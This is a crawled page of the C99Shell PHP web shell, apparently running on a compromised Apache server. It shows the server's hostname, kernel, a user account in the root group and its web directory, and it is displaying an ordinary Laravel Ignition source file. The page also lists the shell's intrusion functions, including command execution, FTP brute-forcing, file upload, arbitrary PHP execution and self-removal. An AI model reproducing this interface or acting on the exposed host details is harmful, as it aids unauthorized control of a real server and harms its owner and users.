!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/facade/ignition/src/Context/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LivewireRequestContext.php (2.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\Context;

use 
Exception;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Arr;
use 
Livewire\LivewireManager;

class 
LivewireRequestContext extends LaravelRequestContext
{
    
/** @var \Livewire\LivewireManager */
    
protected $livewireManager;

    public function 
__construct(
        
Request $request,
        
LivewireManager $livewireManager
    
) {
        
parent::__construct($request);

        
$this->livewireManager $livewireManager;
    }

    public function 
getRequest(): array
    {
        
$properties parent::getRequest();

        
$properties['method'] = $this->livewireManager->originalMethod();
        
$properties['url'] = $this->livewireManager->originalUrl();

        return 
$properties;
    }

    public function 
toArray(): array
    {
        
$properties parent::toArray();

        
$properties['livewire'] = $this->getLiveWireInformation();

        return 
$properties;
    }

    protected function 
getLiveWireInformation(): array
    {
        
$componentId $this->request->input('fingerprint.id');
        
$componentAlias $this->request->input('fingerprint.name');

        if (
$componentAlias === null) {
            return [];
        }

        try {
            
$componentClass $this->livewireManager->getClass($componentAlias);
        } catch (
Exception $e) {
            
$componentClass null;
        }

        return [
            
'component_class' => $componentClass,
            
'component_alias' => $componentAlias,
            
'component_id' => $componentId,
            
'data' => $this->resolveData(),
            
'updates' => $this->resolveUpdates(),
        ];
    }

    protected function 
resolveData(): array
    {
        
$data $this->request->input('serverMemo.data') ?? [];

        
$dataMeta $this->request->input('serverMemo.dataMeta') ?? [];

        foreach (
$dataMeta['modelCollections'] ?? [] as $key => $value) {
            
$data[$key] = array_merge($data[$key] ?? [], $value);
        }

        foreach (
$dataMeta['models'] ?? [] as $key => $value) {
            
$data[$key] = array_merge($data[$key] ?? [], $value);
        }

        return 
$data;
    }

    protected function 
resolveUpdates()
    {
        
$updates $this->request->input('updates') ?? [];

        return 
array_map(function (array $update) {
            
$update['payload'] = Arr::except($update['payload'] ?? [], ['id']);

            return 
$update;
        }, 
$updates);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--